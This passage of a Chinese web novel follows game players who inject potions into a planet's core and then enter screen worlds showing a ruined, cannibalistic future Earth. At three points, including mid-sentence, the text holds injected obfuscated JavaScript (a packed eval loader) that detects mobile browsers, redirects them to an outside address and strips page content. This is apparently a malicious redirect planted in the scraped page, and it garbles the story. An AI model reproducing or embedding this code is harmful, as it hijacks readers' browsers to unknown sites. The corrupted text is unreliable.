嘉里亚·涅挪话音未落已经屈膝抬腿,用力踹出。动作一气呵成。 【匿名】被猝不及防踹下边缘,跌进「火山口」。 嘉里亚阳光开朗地冲下面挥挥手:“落地后记得给我们发消息!” “我#你!” 【匿名】破口大骂。 “是你先勾引我的!” 闻言,还留在崖岸上的玩家,纷纷投以震惊的注视看向【匿名】那边。 “你们都鄙夷我!?” 【匿名】自觉受到羞辱,正打算挨个瞪视回去。 那些目光早已提前如鸟兽散,纷纷移开。 他从来不是愿意独自受苦的性格。 在即将彻底坠落的瞬间,【匿名】极为反重力地向上‘噌’了一节。 在【生者】惊恐的神情里,【匿名】死死攥住对方的脚踝。 手上力道之大,恨不得将自己指骨戳进嘉里亚的皮肉里。 他极为阴森湿黏地咧嘴一笑: “我、抓住你了。” 说罢,动作狠狠往下一拽。 将‘临死也要拉个垫背’这句俗语,演绎得淋漓尽致。 等【死者】注意到【生者】那边的动静赶过去,已经为时过晚。 嘉里亚·涅挪和【匿名】齐齐跌进诡异的「火山口」,消失不见。 整个过程没超过5秒。 有时候【死者】会觉得…… 她对【生者】产生的同情心,实在是不应该。 就比如此时此刻。 在很多瞬间里,她常希望…… 如果嘉里亚做事可以不这么跳脱,招惹是非—— 那就不是嘉里亚了。 想到这里维莉亚·涅挪不禁郁结。 她为这个活蹦乱跳的弟弟操碎了心。 沉默里,【死者】自悬崖边缘一跃而下。 她真的对【生者】足够宽容与爱吗? 维莉亚·涅挪自嘲笑笑。 大抵是没有的。 否则…… 为何爱神牌始终不曾眷顾、降临? 她啊…… 只是厌倦了孤单,恐惧独行的日子。 所以,【死者】-嘉里亚·涅挪…… 自始自终都只是,被她操纵的傀儡。 他们形影不离。 维莉亚却永远不会相信嘉里亚爱她,即使对方颈间挂着与自己有关的爱神牌。 只是一具死去的空壳而已。 属于维莉亚的,真正的嘉里亚·涅挪早已在时间里死去。 她透过嘉里亚·涅挪的眼睛看清「火山口」内部—— 并非翻滚的炽热或其他的怪异情景。 内部是机械的建筑,没有什么威胁。 因此才敢放心地跳下。 躯壳在不断地下坠。 灵魂难免会在失重的过程里,回顾过往。 当下坠结束时,那些犹豫不决就都要消失。 她必须再次站起身,去迎接自身叵测的未来。 维莉亚·涅挪身形轻盈。半空中蝎尾横扫,调整重心后稳稳落地。 而嘉里亚早已殷勤地过来守在她旁边。 “姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530813|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他眼睛亮晶晶的。 像一只粘人的小狗。永远忠诚,永远热忱。 维莉亚·涅挪伸出手,将【生者】有些凌乱的发丝别到他耳后。 那张嘴里最终还是没能说出什么重话,干涩的唇瓣僵硬开合:“不要再有下次。” “对不起,姐姐。” 嘉里亚亲了亲维莉亚的指节,仰头看向【死者】:“…让你忧心了。” ‘在姐姐眼里……我永远只是嘉里亚·涅挪死去肉身的傀儡。’ ‘所以才这样纵容我…对吗……’ ‘永远不会阻拦我做危险的事情,因为死亡对我已经可有可无了……’ ‘你是这样想的,对吗?’ 热意涌进眼眶。 嘉里亚·涅挪垂下眼睫,轻而易举扼杀了梗在喉间的,滚烫的泣音。1 涅挪双子的关系,在TOP榜内部算不上秘密。 【生者】死去的躯壳等同于【死者】的另一双眼。 见维莉亚跳下,其余玩家也不再犹豫,接连跃进这座形状怪异的建筑内部。 待到所有玩家进入后,畸形的洞窟消失在他们头顶。 地面与墙壁乃至穹顶由整块纯白大理石构成,半点拼接痕迹也无。 「火山口」内部绝大部分空间,被一座像水族馆里的环型落地鱼缸般顶天立地的透明容器占据。 容器底部与一座高度齐平,造型古怪的半弧型操作机器紧密相连。 机器台面上有排大小相同的圆孔,刚好能让系统下发的药剂严丝合缝地装进。 容器内,是望不见边界,晃动的亮蓝色液体。 温和庞大的能量源源不断地从中溢出。 所有站在它面前的生命几乎会毫不怀疑,它能孕育无数生机。 然而来到这座地下宫殿的玩家们,均能看出这片蓝海……身陷微薄的死态。 巨大的模糊阴影悄然浮现在荧蓝中。 ‘砰’地一声闷响。 一片阴影重重撞在透明的容器内壁上,整座建筑都在这动静里摇晃。 那生物撞在玻璃上的刹那,玩家们借此看清它的面目—— 是个胎儿。 肚脐上还连接着它与母宫的无数根脐带,半透明脐带在无尽蓝海里延伸到不为知晓的地方。 像束缚,又像索取。 它的模样算不上人类或任何已知的动物,植物…… 倒像是一切生命雏形的总和——从葳蕤草木到巍峨巨兽,无一不在其中。 混乱却不显畸形,恰到好处的融合。 但现下本该完全属于「肉」的胎儿,半侧柔软的身躯却被机械组织狰狞刺穿、勒紧。 就像这颗星球…无法挣脱的命运。 对见多识广的TOP榜玩家而言,这一幕仍然算得上惊心动魄。 这里的绝大多数玩家已经不是头一回见到星球核心。 但每次见到,仍然为这里存在的磅礴生命力感到心惊。 他们一时间忘记任务,沉默里抬起头,长久注视着眼前这片壮丽的蓝海。 四面八方是源源不绝的生命力。 强大的生命波动下,段心慈感到头部一阵剧烈的刺痛,几乎要令她站立不稳。 强大的生机将诅咒的根系撬开。 那颗胃里的心脏似乎叫嚣着,妄图复活。 “……” ‘我到底…’ 玄发青年面色平静地咽下从胃部涌上的鲜血…… ‘…遗忘了什么?’ 60.道听途说愈疯魔 越是竭力回忆,越是徒劳无功。 即便刻意放空意识,试图屏蔽这些乱糟糟的记忆,也是失败。 青年索性任由那些碎片化的场景在眼前闪烁,交替浮现。 那似乎是一间医学实验室—— 光怪陆离的,扭曲变形的光影里……一切都显得失真。 「她」身穿便装,疲惫地坐在椅子上。 周围空无一人。 身体的主人头颅低垂,身体微躬。 玄色的长发松散地垂落,遮掩锋利筑就的美貌。 预感会在这里见到自己长久以来错过的,未曾知晓的内容。长发青年强忍不适,继续放任这回忆席卷。 他试图寻到那些被「自我」刻意埋葬的过去。 直至听到一声极其轻的呢喃,源自「她」喉间震颤的声带。 “……段心慈,你好残忍。” 她最终得见「她」的所思所想:‘为什么…留下我?’ ‘被你拒绝的使命……我不明白……’ 破碎的。 ‘他们看的人根本不是我!’ ‘…是你啊,段心慈……’ ‘你的副官,看向我的眼神……居然是怜悯!’ ‘她竟!胆敢怜悯于我——!!’ 癫狂的。 ‘……我喜欢你。’ ‘死去的段心慈。永远不会,也没有机会拒绝我。’ 偏执的。 ‘……我错了…错得可笑。’ ‘我后悔了……亲爱的。’ ‘我不知道…为什么……我会爱上你?’ ‘…为什么我的爱人偏偏是因为我才死去?’ ’段心慈。要是那时候活下去的人是你该有多好?’ ……爱我的。 那个瞬间,「她」眼眶里晃动的光影终于滴落。 在回忆里,段心慈的视野骤然重归清晰。 她这才迟钝地意识到,那些扭曲的光影皆源自「她」眼中的泪水。 「她」低下头,去看那滴冷透了的水迹。 段心慈在那具躯壳里,和「她」一同低头。 于是,顺理成章看见那支被「自我」紧紧攥在掌心的,墨蓝色药剂—— 【长生】。 ‘段心慈。’ ‘我知道你没死。’ ‘所以。’ ‘亲爱的……会需要【长生】的。’ 【长生】从来不是什么心比天高的幻想。 它只是另一个留存于世、行走人间的「自我」,留给段心慈最深切也是最最卑微的祈求。 「我」道听途说我,愈疯魔。 ‘三代会长,要长生啊。’ 实验室门外,江灯将头抵靠在冰冷的白墙上。 她默许作为四代会长的「段心慈」,不理智地为一个已经死去的人创造出改良版的【救赎】。 取名为【长生】。 ‘就这样吧…这一切……’ 中年副官大力揉了揉额角:‘无论是哪个段心慈,都已经承担得够多了。’ 未等玄发青年从震惊里回过神,回忆在此处戛然而止。 仿佛折损的录像,注定遗失它的残卷。 ‘铛啷’一声清脆的声响。 是金属牌掉落在大理石地面的声音。 它将众位玩家的目光引向段心慈所在的方位。 属于「自我」的上半尊爱神牌,在昨天的诅咒里化作齑粉。 而属于段心慈的下半尊爱神牌,在今日今时跚跚来迟。 玄发青年弯腰捡起那上半尊爱神牌,沉默地将它挂在脖颈上。 金属牌上的浮雕,犹像一颗自中被斩断的心脏。 她们之间相隔的,是绝无倒退可能的时间—— 绿赛图斯。 时间里,她的一切都无法回头。 段心慈极尽眷恋地吻了吻那半尊刻着机械与血肉之心的爱神牌。 ‘亲爱的,若我始终来迟……’ ‘不要原谅我。’ 青年在一刻发誓—— 祂要让时间绿赛图斯以最低贱、受尽羞辱的姿态在自己面前碾作卑微的肉泥。 死亡神座因主神的誓言发出一声崩毁的巨响,可怖的裂痕自上而下贯穿神座。 在死亡的真理中,虐杀被永远禁止。 但段心慈已经不在乎了。 神座成就不了她的心脏、她的灵魂。 桎梏的枷锁也早已随着爱人的死亡而消散。 我道听途说「我」。 愈疯魔。 【预言师】能感受到从段心慈身上传来的气息,不再是纯粹的死亡。 暴虐与阴翳混杂,甚至与毁灭同行。 ‘…没记错的话,爱神牌不是代表绝境里的希望和转机吗?’ 顾屿倍感无助。 ‘哦…这位的爱神牌只有半截。那就合理……’ ‘合理才怪。到底为什么是半截啊!!’ ‘整尊是希望和转机……半尊……’ 顾屿脸色变得比生吃苦瓜还难看。 她还从来没见过半尊爱神牌的情况。 从来不都是整尊出现的吗…… 不知道【预言师】堪比地质运动的心理起伏,段心慈将手中红药推进凹槽。 红色的液体顺着隐藏在凹槽下方的管道流进「脐带」。 绿赛图斯的心思在此刻已经昭然若揭—— 代号十的玩家,永远不可能费尽心思去拯救一个和自己毫不相干的世界。 哪怕站在这里的是灵魂完整的段心慈,也是如此。 将生与死的抉择交到他们这些玩家手里,无异于将此处的世界送上断头台。 总归时间与世界,不过是一纸写满文字游戏的廉价交易。 没有竭尽全力在此救世,段心慈扪心自问她是否后悔? 得到的答案是:不。 不是不悔,是不能。 后悔这种情绪太奢侈。 他们这群连未来都被死死攥在绿赛图斯手中,被时间视作草芥的玩家…… 无论做出什么抉择,都绝无可能后悔。 被段心慈杀死的波绪拿是这样,杀死波绪拿的段心慈也是这样。 见玄发青年手中再无别物,谢挽非将随身携带的蓝药拍进凹槽内。 比起在毁灭世界或拯救世界里拼个胜负…… 她更想知道,在双方持有红蓝药水相同的情况下,时间会给出什么样的判决。 TOP.1知道的事,【主角】未必不清楚。 但谢挽非永远隔岸观火。 永远有资格支撑起自己足够恶劣的本性。 很快四红四蓝全部清空。 玩家们目光穿过容器,投向荧光的蓝海。 【预言师】神情玩味地依坐在机械工作台上。 一蓝一红,两支颜色各异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531193|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的药管不知何时出现在她手中,于指间来回翻转。 “我说,你们是不是把我忘了?” 高速运转的节奏里,红与蓝交叠,成为紫色的残影。 短发齐肩的青年用仅剩的漆黑右眼含笑看着众人。 谢挽非目光错愕。 其他玩家的表情也好不到哪里去。 只有段心慈,祂眼底根本没有顾屿的身影。 唯剩下对绿赛图斯无穷无尽的恨,几乎要将自身焚烧殆尽。 “别这么看我,【主角】。” “我可不是绿赛图斯……那喜欢挑拨离间、玩低级游戏的家伙。” 握着药剂的手背在身后,顾屿走上前两步。 祂弯腰贴近谢挽非耳畔,声线是和平常一样的温和有礼: “你、真的很好用。” 不是真理,却拥有比肩神祇的能力。 一个,助祂心想事成的工具。 “作为你无形中帮我增添游戏趣味的报酬——” 谢挽非眼中,青年骨节分明的五指骤然紧收,两支颜色迥异的药剂不堪重负在瞬间破碎。 红与蓝在【预言师】掌心融汇成怪异的紫色液体。 “现在,让我们新增一个结局如何?” 虽然是疑问句,但顾屿明显不想征求任何玩家的意见。 她将自己掌心上横流的紫色贴着凹槽内壁刮下。 剩余的紫色药剂则顺着青年下垂的指尖,持续地,滴滴答答地蜿蜒坠落。 最后,顺着无数脐带中的一条,缓缓输进「胎儿」柔软幼滑的躯体。 群聊里,系统总能在最混乱的时刻,恰逢其时出现: 【我要把你们剁成腻子涂墙(8)】 [无论是拯救世界,抑或是毁灭之路都能够让末日结束。] [时间的预演里,恭喜你们已经全部通关第六幕。] [请玩家选择:是否分别前往第七幕、第八幕、第九幕。] [观看自己亲手缔造的罪业?] [是] / [看] 【织觉人】:“?” 惺惺作态很常见,但代号十明显是连表面功夫也不做了。 【匿名】:看看看,一天到晚就知道看! 【匿名】:怎么不看看祢娘我?! 看不清面容的青年手指翻飞,在屏幕上噼里啪啦地打字,几乎要按出火星子。 【匿名】:绿赛图斯祢记住,我是祢爹!我一天是祢娘就一天是祢爹! 【地母】:黑白猫疑惑gif. 【生者】:没救了,直接送【匿名】去安乐吧。 【匿名】阴森湿滑的目光舔上嘉里亚·涅挪…… 嘉里亚连忙拿出手机打字—— 【我要把你们剁成腻子涂墙(8)】 【生者】:没有说绿赛图斯可以不给【匿名】殉葬的意思。 【匿名】心里不说,其实对嘉里亚·涅挪的识相十分满意,并且备受鼓舞。 而受到鼓励的后果,就是他独自在群聊里单方面对着时间大骂信息99+: 上到时间主神八百八十八代祖宗,下到时间主神八百八十八代孙子,中间还不忘带上绿赛图斯本尊。 其余玩家不免怀疑他最后不发消息,只是因为打字打累了。 不管【匿名】对时间的恶意究竟有多大…… 他们最终还是不可避免地,走向即将到来的世界终局。 61.不要和晚餐聊天 在这座神圣与生机并存的宫殿,时间降临。 绿赛图斯轻而易举地将这里改造成祂的一言堂、杀戮场。 三块巨大的观影屏幕从左到右凭空显现。 忒尼斯·厄洛诺斯下意识倒进身后突然出现的影院椅里——捧出一桶爆米花。 赶在其余玩家把目光移到自己身上前,狐蛇从椅子上再度跃起:‘见鬼,看电影看习惯了。’ 系统冰冷无情的声音响起: 【第七幕-机械废土·救世】 【第八幕-完美世界·灭世】 【第九幕-无穷已知·??】 【神秘的陨石雨突然降临全球,生物与机械纷纷发生异变。】 【一群为了活命不择手段的疯子为了阻止世界末日的结束,竭尽全力。】 【现在起,是进入观影世界,验查自己成果的时刻。】 【剧场任务:三位阵营的领头玩家将进入荧幕体验—— ——祂们选择注入不同的魔药会各自达成什么样的结局?】 【支线任务:其余玩家将留守在观影区域内。保持安静,请勿肆意走动。】 段心慈没有丝毫犹豫,迈步走进荧幕。 她已经望见,荧幕里属于第七幕的世界,满目尸骸。 进入第八幕的本该是【织觉人】,因为狐蛇投敌现在只好让【主角】顺位补上。 谢挽非跨入大荧幕的脚步没有丝毫停顿,哪怕少年知道,这场由自己一手促成的结局注定并不美妙。 顾屿没有急于进入第九幕。 青年微微抬头,对上虚空中绿赛图斯的视线,依旧是温和的态度:“现在,我可以是玩家了吗?” 作为NPC或副本BOSS,她无法保证自己一定会在结局时刻走出这片世界。 这是时间针对败者屈辱的烙印。 顾屿想要万无一失,就必须再次从时间手里获得玩家的身份。 “……现在起,祢是。” 时间回答祂。 于是【预言师】心满意足地挥挥手:“记得给我发部手机。” “还有,把我拉进群聊。” 说完,她不顾时间绿赛图斯难看的脸色,头也不回地转身投进第九幕。 她未知的与已知的世界。 【第七幕】 段心慈站在遍野的骸骨荒原上。 狂风裹挟着铁锈的腥气呼啸着扑向她。 血色的巨大落日缓缓下沉,像一团自天际坠落的火球。 将死未死间,就要被地平线吞没。 “你……你也是自然人类吗?” 细弱的声音在长发青年身后的响起,于是她回过头。 那个是面容稚嫩的孩子,对她伸出手—— “幸存者基地就在前面,让我带你去吧。” 【第八幕】 谢挽非伫立在繁荣废墟的顶端。 这里没有风。 没有白天、黑夜;没有太阳、星空。 于是她成为死去世界里唯一的色彩,且永不褪色。 ‘……既然…我是【主角】!’ 谢挽非闭上眼,在心中默念—— “我说,要有风。” 死寂的空间里…… 褪色的空气再次流动。 【第九幕】 顾屿混迹在大都市庸庸碌碌的人群里。 柏油马路上,酷暑的热浪扭曲了视线。 齐肩短发的青年随手变出一顶造型夸张的大帽檐黑色礼帽扣在头顶。 宽大的帽檐在那张虚幻与神秘交织的面孔投下阴影。 她走在街上,像某类存在感极其微弱的黑色幽灵。 就在这时,一位手里拎着果茶桶的白领不小心和这位异世访客撞了个正着。 清甜的果茶带着夏季难得的凉意洒在顾屿腰腹的衬衫上,洇出黏腻的糖渍。 “抱、抱歉!真的对不起!” 白领手忙脚乱地掏出纸巾:“女士,你这衣服多少钱?我转给你!” “赔钱就不必了。” 顾屿制止了对方的动作,转而问:“或许你愿意抽出这个下午,来听听我的预言?” “……你知道我一个小时能挣多少吗?!” “足足三百五十块!收款码拿过来。” 年轻姑娘冷笑,攥紧手里的纸巾:“另外给你30秒,爱说不说!” “我没有收款码……” 【预言师】目光划过年轻人别在衣领上的胸牌。黑体白底的‘黄小璜’三个字格外显眼。 “黄小璜。” 听到对方叫出自己的名字,年轻姑娘愣了一下,低头看向自己的胸牌。 顾屿平淡地问她:“你认为,你所在的世界会毁灭吗?” * 场外。 就在三人进入荧幕世界后,观影区的玩家们整齐划一地收到系统发在群聊中的消息—— 【我要把你们剁成腻子涂墙(9)】 [温馨提示:] [从现在起,观影区的玩家可以选择自由进入:非己方玩家的荧幕世界。] [在自定义的地点,为对手送上一束鲜血玫瑰吧!] 明眼玩家都能看出来,系统发出来的这条消息就是在针对段心慈。 连顾屿都能重新拥有一部手机,只有她因为手机遗失注定看不到这条消息。 而代号十,也绝对不会好心到再给这位玩家首席重配一部。 【预言师】:…深感不幸玫瑰emoji.×3 【地母】:……【预言师】为什么会在我们的群聊里啊?! 【地母】:她算TOP几啊? 艾里门·歌德其实是想直接说她算老几的,但思虑再三后,还是选择偏向虚与委蛇的说法。 她是真心觉得顾屿精神不太正常。 【预言师】:不算TOP几。我现在是No.93726467231。也就是末名新手玩家。 【预言师】:失落小猫gif. 【主角】:? 下面跟了一连串来自其余玩家的‘?’。 他们盯着那个‘新手玩家’,心说这四个字无论如何都和这位前TOP.1搭不上半点关系。 观影厅角落里。 【死者】紧紧抓着【生者】的手,力道之大让嘉里亚·涅挪的手背有些泛白。 【生者】却好似一无所觉:“姐姐。” 维莉亚恍惚地看向【生者】的躯壳: 这是她弟弟的尸体,正在开口对自己讲话。 哪怕是现在,她依然会对这个事实感到恍惚。 她看见那张淡粉色的唇开合,自己的操纵蛊就盘踞在对方的心脏中…… ‘…他嘴里吐出的话语,究竟是发自内心还是来自我的控制?’ 维莉亚·涅挪不愿深想,只是听着。 “无论姐姐做出什么决定,我都会和你一起的。” ‘背叛救命之恩也没关系。’ ‘嘉里亚·涅挪永远站在姐姐身边。’ ‘哪怕结局是再一次死亡,我也永远不后悔。’ * 第七幕-荧幕内。 黄昏将晚。 段心慈跟着带路的稚童沿路走过一段密林、乱石的废墟,终于抵达目的地。 那孩童口中所谓的‘幸存者基地’,不过是群三三两两架在一道的破烂棚子。 一个面黄肌瘦,形如枯槁人坐在火堆旁。架在火堆上的大锅里不知道煮的是什么。 散出一阵极淡的油脂香气。 “小珙姐,我带人回来啦!” 带路的孩子奔向衣衫破烂的女人。 女人随意拍拍男孩的头:“知道了,今天晚饭有你的份。” 男孩高兴地跑走。 被称呼为小珙姐的人抬起头,贪婪地扫视着面前的青年。 那不是看同类的目光。 段心慈心里清楚,自己恐怕已经被这些人当成待宰的晚餐。 她走到锅前看了看,清汤寡水。 只有几条烂草叶,还有两根不知道熬过多少次,现下只能熬出零星两朵油花的肋骨。 珙姐见她脸上没什么恐惧的情绪也不知道逃跑,不禁晒笑一声:“竟是个傻子。” “也是叫小宋这倒霉孩子白捡了好运。” “……” 段心慈沉默:‘……救世?’ ‘……哈。绿赛图斯。’ “这里,发生了什么?” 珙姐惊讶地瞥了她一眼:“居然会说话。” 随后她背过身,只顾捣鼓自己手里的事情。 完全没有和晚餐沟通的欲望。 段心慈默然。 她不知道该说什么?能说什么? 同类相食是错误的? 但在这些人眼里,已经不存在同类的概念了。 也不能说他们完全泯灭良知,至少还知道不要和晚餐聊天。 毕竟聊天之后…… 就没办法畅快地大吃一顿了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533108|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是将晚餐放生,自己饿着肚子等死…… 还是在狼藉的愧疚里吃掉这一顿晚餐,然后饱受精神上的折磨,最后活活疯掉—— 成为别人的晚餐。 都不是好选择。 「不要和食物聊天」是这些还活着的人,总结出的生存规则之一。 段心慈知道自己不可能从珙姐这里得到任何有用的消息了。 她起身向外走去。 珙姐愤愤地剁了一下案板上的菜刀,没拦。 这玩意长这么壮实不知道吃了多少,一看就不能是她的菜。 小宋那孩子就知道挑肉多的,也不想想他珙姐打不打得过。 段心慈走在幸存者基地内,引得一众人垂涎三尺,但看到她强壮的体格后都擦了擦口水,把脸埋回膝盖间。 别说一个珙姐打不过,他们所有人加起来估计都和稻草一样一推就散架了。 ‘天杀的,她到底是吃了多少??!’ ‘哪个王八羔子把这么个玩意儿带进来了?’ ‘不会胃口大开把我们都吃了吧?!’ 想到这里这些人面色发白,浑身颤抖。 段心慈还不知道自己存在的效果,对这群人来说不亚于麻雀窝里闯进一头猎豹—— 她还在想那句‘自然人类’。也许还存在‘非自然人类’? “……你们…” 干柴捆在一起似的人群齐齐一缩。 见此珙姐皱着眉头对段心慈招招手,示意对方到自己这边来。 不能让这傻大个儿再到处乱跑吓唬人了。 段心慈刚离开,后头的人就松了一口气。 珙姐的站位离她很远:“想知道什么就问吧。” “我知道的能告诉你,我不知道的就不能了。”这样的人她惹不起,越快送走越好。 “…现在是多少年?” 段心慈斟酌着提问:“你知道非自然人类吗?” 珙姐颇为奇怪地看了她一眼。 ‘这家伙到底是从哪里跑出来的?怎么什么都不知道?’ “2801年,这里没有什么非自然人类。” “只有一群非自然生命机械在旧都市自立为王。” 仅仅过去一年。 “谢谢。” 段心慈礼貌道谢后转身离开。 只留下女人注视着她的背影,久久之后回答了那句:“……不客气。” 在很久以前… 或许也没有很久…… 她记得这个人的声音,尽管只有冷冰冰的三个字。 有关八千小费,以及一条刺痛眼睛的荧光绿裤子外加一双大红网细白边面运动鞋。 那是末日前,她职业生涯中最离奇的一天。 然后…… 末世降临。 “小珙姐!她走了我们晚上吃什么?” 小宋拽着珙姐的衣角,眼巴巴地望着离开的活物。 珙姐拍了拍小宋没多少肉的脸蛋,没好气道:“你下次再敢带这种能把我们一锅端了的危险回来,晚上就把你的腮帮子割下来煮了吃。” 小宋哑巴了。 他知道珙姐是真的能做出来。 荧幕外,狐蛇看到青年并未多呆的身影,默默松了一口气。 虽然知道段心慈不是同情心泛滥的性格…… 以她诡异的道德标准更不会捡一个吃过人的孩子回家—— ‘所以,艾里门·歌德对段心慈的品味是有什么误解吗?’ ‘她到底在担心什么啊!’ 想到这儿,忒尼斯递给自己身边的艾里门·歌德一桶爆米花:“不紧张了?” 狐蛇原本想直接说‘不醋了?’。 对比了一下实力后—— 很好,她打不过段心慈。 和艾里门真打起来也是两败俱伤,决计讨不了好。 ‘……这就是,语言的艺术。’ 厄洛诺斯家族现任首领摸着自己脖颈上粗糙的缝合线感慨。 艾里门·歌德半点没跟她客气,接过爆米花理直气壮道:“我紧张什么?” “明明是在祢紧张。” “别以为我没看到祢在一个劲儿地摸缝合线。” ‘心虚的时候摸,紧张的时候摸,哪天给自己脑袋摸下来就老实了。’ 忒尼斯·厄洛诺斯:“?” ‘我紧张还不是因为担心你突然想杀了我??’ 她又去摸脖子上的缝合线了。 ‘哎,幻痛。’ 62.像脐带又像绞索 左侧荧幕里。 段心慈已经进入旧都市。 坍塌的城市建筑在一年后成为机械怪物的温床,目光所到之处都是怪诞的景色: 地表裸露的管道在空气中低频震颤,呼吸间喷吐出无数绚烂的孢子。 写字楼被繁茂的、闪着金属光泽的攀缘植物完全覆盖。 一阵风吹过,腐朽的建筑转眼拔地而起。 露出爬山虎叶面后,狰狞的锯齿獠牙。 蝴蝶群聚在树下。 它们不再使用翅膀,而是长出尖镊子一样的双腿在地上蹦蹦跳跳,发出小孩子的嘻闹声。 一只家猫受到惊吓,倏地窜过青年腿边。 尽管只是短短一瞬,裤脚管上顿时沾满猫毛。 段心慈看见猫的肚皮翻开,湿软的胃与寒光闪烁的易拉罐黏连,长在一起。 “……” 信号塔,以及高空纵横交错的电线同样被金属植被覆盖,。 那些植物周身闪着电光,偶有烟管状的蟒蛇绕行其中。 移开目光,青年往市区走去。 直到脚下踩到一个有些硬度的物体。 段心慈费了些时间才将这本书从厚绒毯一样的苔藓地里拽出来—— 扫去浮于表面的泥土,她辨认出这似乎是一本日记。 日记的封面已经在血液和泥土的浸染里变得模糊不清。 她翻开日记第一页: 2800年06月30日 明天暑假第一天,记得接寄宿幼儿园的小男儿回家。 还是大女儿省心… ……算了,骗骗别人就够了。 孩子就没有省心的。 最后一个句号显然是日记主人咬牙切齿画上去的,带着深深的墨痕。 段心慈暗自庆幸:至少梅里尔·德伊莱和艾里门·歌德都是十分省心的。 丝毫考虑过,是不是自己根本不会带孩子的缘故。 她继续往下看去—— 07月03日 关于陨石我们研究了半年,结果没有任何进展。 谁知道哪天就会突然出现,砸到我们的头上? 真希望快点出结果。 07月05日 不知道为什么…… 感觉工作的时候后背毛毛的。 还有6、7天… 真希望是我们算错了。 把两个孩子交给乡下姥姥带……会不会比较好。 日记还在继续—— 07月10日 在实验室里被盯着的感觉加重…… 或许是我压力太大导致的精神幻觉。 真的该好好休息了… 孩子们在母亲那里过的很好。 明天、后天…… 如果大后天之前什么都没发生的话,我就要休掉年假。 太疲惫了。 07月11日 ……什么事也没有发生。 睡吧。 07月12日 从来没有这样迫切地希望哪一天这么快结束。 24点的钟声一敲响就开香槟…! 07月15日 整整一页是大段的,糟乱的线条。 …… 07月17日 那些东西……实验室里的标本… 先前不是错觉… 它们、真的、活过来了。 它们…会杀死所有人的。 不能坐以待毙—— …… 07月29日 杀不死的怪物…… 幸存的同事只剩下我、白迎春以及谭?? 头好涨…记不住。 算了、算了、都不重要。 07月30日 好累…… 谁还在乎那些孩子们? [乱糟糟的墨渍] 能活下去就好了。 07月31日 食物短缺…… 我和迎春必须离开研究所… 纸、笔、手机、饮用水、缆绳、压缩饼干… 还有什么…… 手枪、刀、毛巾、消炎药、收音机、手电筒、打火机…… 白天就得走。 那些东西在夜间更猖狂。 08月03日 三天…… 我们甚至没有走出市区。 便利店也里什么也没有… 没有政府… 没有救援队。 没有任何消息。 迎春受伤了。 变异野猫把她的肠子挠出来了…… 该死的畜生。 08月15日 迎春伤得太重…… 有时候我希望, 我们会是两个相依为命的主角,可以浪漫地逃去天涯海角。 如果有神…… 会保佑我的迎春吗? 08月22日 日记上是大段的涂画,血迹…… 白迎春死了。 我从来不知道她背地里会虐猫…真是可笑。 现在再说这些也没什么意义了。 我会记得她的名字。 活下去。 09月08日 ……所以,这是一场报复啊。 …很多血,尸体。很多。 10月17日 夜晚太冷,感冒。 包里已经不剩多少药了。 省省吧。 10月31日 死亡,又是死亡。 成片的尸体……我真的、、、厌倦了。 ……………………………………………………(大段不明意义的文字涂鸦)■■■■ 12月26日 此刻我躺在柔软的绿植里。 天空很蓝。 蓝得亮眼。 很久没有见过这样的蓝色。 风也很舒适。 坐在这里,我突然想起……小时候曾经看过的一本科幻小说。 《空间债:返乡》。 在第366页12-13行上的那句话,分享给有幸看见我日记的你: [当我们的祖先第一次将温热的兽皮裹在自己躯壳外,用以取暖时……] [我们就应该明白那个道理:] [血债要用血来偿还。] [——Allia搜救队,队长日志。] ……是个很沉重的话题呢。 不过。 我的科研成果,也挽救了很多人的性命吧…… 对与错…… 我已经分不清。 我的名字,是……宋朝路。 请帮我记得我,好吗? 泪渍与血迹混在这最后一页日记上。 再往后就是大片的空白,什么字也没有。 段心慈沉默地将这本日记放回原来的地方。 按日记的主人所说,他应该就埋葬在这片苔藓下方并不深的位置。 但青年却并没有留意到任何尸体的痕迹。 这种情况…… 不是被机械生物吃了,就是被人吃了。 无论是哪一种,都足够让人发自内心感到悲哀。 如果到现在为止的一切,都是绿赛图斯让自己信念产生动摇的手段…… 段心慈不得不承认,祂快要成功了。 如果自己真的拥有足够‘正常’的灵魂,恐怕早就在这样的巨变里,深陷灵魂的谴责与愧疚之中。 但说到底…… 能成为代号十玩家首席的,又能是什么正常灵魂? 就连所有玩家中看起来最正常的元翎…… 也是个满脑子想着创建新世界,改革旧世界为己任的疯子。 后来,段心慈走遍了整颗星球。 无有例外,所有人都相互食用。 在人类城市废墟里,现今盘踞的是血与债的恶果。 永远无法调和。 ……在这个世界,在这个节点。 已经没有任何被拯救的可能。 